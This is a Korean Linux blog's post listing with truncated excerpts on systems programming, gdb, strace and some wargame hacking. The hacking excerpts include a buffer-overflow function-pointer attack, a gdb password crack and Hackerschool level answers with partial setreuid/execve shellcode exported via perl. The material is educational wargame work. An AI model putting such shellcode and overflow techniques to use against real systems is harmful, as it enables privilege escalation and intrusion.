Linux 58

Linux Shell 구현 소스

/* * http://sosal.tistory.com/ * made by so_Sal */ 유닉스 프로그래밍 수업에서 (비록 리눅스를 사용하지만)쉘 프로그래밍 과제가 나와, 했던 과제를 한번 올려 봅니다.- Linux shell programming 쉘(shell) 구현에서 간단한 시그널처리와 fore / back-ground 프로세싱 처리 등에 관하여 구현해보았습니다. * SIGNAL 기능. - ctrl + c : SIGINT - ctrl + z : SIGTSPT - wait 상태의 부모프로세스는 SIGCHLD로 다시 run. - rs (restart) : 자식을 SIGCONT signal로 stop 상태를 run으로, 부모는 restart된 자식을 다시 waitpid로 기다림 * lss : ls - ..

Linux/Linux_Source 2011.05.23 (5)

System V 공유메모리 시스템 콜

/* * http://sosal.tistory.com/ * made by so_Sal */ System V IPC 시스템콜은 프로세스간의 통신을 말한다. 우선 여기서 다룰 shm* 계열 함수들은 Shared memory 를 이용한 communication models 계열로 정의된다. (pipe , socket 등은 Message passing model 이다.) 그림 : (a) : Message passing. 그림 : (b) : Shared memory. (a)는 커널이 Responsible하게 관리하므로 좀더 안전하다고 볼 수 있다. (b)는 커널은 전혀 관여하지 않고 오로지 프로그래머에게 전적으로 책임이 있게 되는데 보안에 취약하며 굉장히 strict 하게 구현되는것을 요구한다. shmget : ..

/proc/pid/maps : 파일 프로세스의 메모리 공간

/* * http://sosal.tistory.com/ * made by so_Sal */ - 프로그램 안에서, Code segment, data segment, stack segment, heap segment, .bss 등을 살펴보겠습니다. "유닉스 계열은 모든 것이 파일, 프로세스 이다. " 라는 말을 무수히 들어보셨을 것입니다. 그렇다면 중요한 정보들이 어디에 파일로 저장되어 자리하고 있는지 알게된다면 쉽게 정보들을 찾을 수 있을 것 같습니다. proc : process의 줄임말이며, 이곳에 프로세스의 정보들이 저장됩니다. 사용자 프로세스의 정보들을 이곳에서 얻을 수 있으며 심지어 조작도 가능하다는 점에서 /proc 파일시스템은 굉장히 유용합니다. 위 그림에서 보는바와 같이 (pstree 명령어)..

Linux/Linux_technic 2011.01.29 (4)

제한시간 1초, 수학문제 프로그램 해킹?!

/* * http://sosal.tistory.com/ * made by so_Sal */ /* * 이 포스팅을 이해하기 위해선 * c언어 srand(), time(), rand() 함수들 * 리눅스 read write 파일 시스템콜 뿐만 아니라 * fork(), execl(), pipe(), dup2() 프로세스 시스템콜을 * 미리 아셔야 이해할 수 있습니다./ */ 예전에 숫자 맞추는 게임(?)이 널루트 가입문제로 나왔었던 기억이..있습니다 ㅎㅎ 아마 억대자리수 덧셈이었나?? 그럴텐데.. 기억이 잘 안나네요. (동아리 선배분께서 열심히 풀고계신걸 잠깐 본적이 ㅎㅎㅎ) 여튼, 번뜩 생각나서 고걸 부셔버리는걸로.. 한번 포스팅 해보려고 합니다. 목적은 1초안에 1만자리수 덧셈문제를 풀기! 입니다. sra..

Linux/Linux_technic 2010.11.06 (3)

bof를 이용하여 함수포인터 공략하기

/* * http://sosal.tistory.com/ * made by so_Sal */ 함수포인터를 블로그에 정리한적이 없었네요.. 이번기회에 함수포인터도 정리할겸~~ 포스팅합니다. 배열의 이름이 배열이 메모리의 어떤 공간에 저장되어있는지를 가리키듯, 함수의 이름은 함수의 내용이 메모리 어디에 적재되었는지 포인터가 되어 가리키고 있는것입니다. 주로 윈도우에서 DLL을 로드할 때, 함수포인터를 사용합니다. #include int foo(){ //func1 foo() printf("foo - function1\n"); return 1; } int boo(){ //func2 boo() printf("boo - function2\n"); return 2; } int main(){ int value; int ..

Linux/Linux_technic 2010.11.06

Strcmp 부분 gdb로 암호 문자열 크랙하기

/* * http://sosal.tistory.com/ * made by so_Sal */ 가끔 프로그램이, 변수에 어떤 값이 들어가있는지 궁금할 때가 있다. 그때는 심볼이나 디버깅 정보를 삽입하여, gdb에서 watch 명령어나 직접적으로 메모리에 접근하여 정보를 가져오는방법, 레지스터를 확인하는 방법 등이 있는데, 이 포스팅에서 레지스터가 가리키는 문자열 변수에 어떤 값이 들어가있는지 GDB 디버깅 툴을 이용하여 확인하는 방법을 알아보려고 한다. (답) ANUG9LMRKOB^IS_SOSAL #include #include int main(){ char password[] = "MY_PASSWORD_IS_SOSAL"; char input[100] = ""; int length = strlen(passw..

Linux/Linux_technic 2010.08.29

Linux : dup과 dup2

/* * http://sosal.tistory.com/ * made by so_Sal */ 이 포스팅은 open, read, write 등의 시스템콜을 기본적으로 안다는 가정 하에 작성된 글입니다. 위 시스템콜에 대해서 모르신다면 :: LINK_ 1. dup 2. dup2 1.dup - 파일 식별자를 복제한다. #include // man page 참조 int dup( int fd ); (dup은 duplication의 약자겠죠?.. 아마.. ㅋㅋ) 새로운 파일 서술자를 반환하지만, 숫자만 다를 뿐 원래의 서술자, 복제된 서술자 모두 완벽히 같은 파일을 가리킨다. 실패 : -1 반환 (파라미터로 전달된 값이 fd가 아닐경우, 더이상 fd를 할당하지 못할경우) /* * fd1 파일 디스크립터에 open을 ..

Linux/Linux_programing 2010.07.02 (6)

Linux :: Strace - 시스템콜과 신호 추적

strace는 system-call Tracer를 의미하는 말로, strace에 의해 추적되는 프로세스의 시스템콜, 신호를 모두 화면에 출력한다. (시스템콜 ex : read,write,exit,lstat,ipc,fork.... 대부분 표준 C 라이브러리 내에 함수로 존재) strace 프로그램은 ptrace라는 시스템콜을 사용하여 자식 프로세스가 어떤 시스템 콜을 호출하는지 감시하고, 호출하는 시스템 콜에 대해 화면에 출력한다. :: 시스템콜 실패시 strace를 이용하면 어떤 시스템콜이 실패하였는지 쉽게 알아낼 수 있다. :: 예외처리를 해준다면 더욱 쉽게 알아낼 수 있을 것이다. 일단 strace 유틸리티로 추적해볼 프로그램을 만들어보자. /* * gcc scall.c -o scall * 굵게 표시..

Linux/Linux_technic 2010.03.04 (1)

해커스쿨 11~20 정답, 공격코드

/* * http://sosal.tistory.com/ * made by so_Sal */ ////////// hkpco. universal setreuid() shellcode. 문서에서 발췌해온 쉘코드입니다. ////////////// 자주쓰는 쉘코드입니다. http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt (shell에서 환경변수 추가) export hk=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31..

Linux/Linux_technic 2010.01.31

Linux :: 디버거 GDB 디버깅 테크닉

/* * http://sosal.tistory.com/ * made by so_Sal */ 1. 디버깅 정보를 담아 컴파일 하기 2. gdb 실행하기, 프로그램 디버깅 시작하기, gdb 종료하기 3. 프로그램의 c언어 소스 보기 (디버깅 정보 포함) 4. 프로그램의 어셈블리 코드 보기 5. break 포인트. 디버깅 실행과 진행 명령어 6. 변수, 포인터 값 보기, 출력 형식 지정,함수 리턴값 지정 등 value 값 모니터링 하기 7. 변수값 바꾸기 8. 레지스터 값 보기 9. 메모리가 가지는 값 확인하기 10. 디버깅중인 프로세스에 시그널 보내기 gdb :: GNU Debugger GDB는 컴퓨터 프로그램을 실행하여, 사용자에게 실행 과정을 추적하고, 중간에 임의로 수정, 심볼(함수,변수)들을 모니터링..

Linux/Linux_technic 2010.01.31 (1)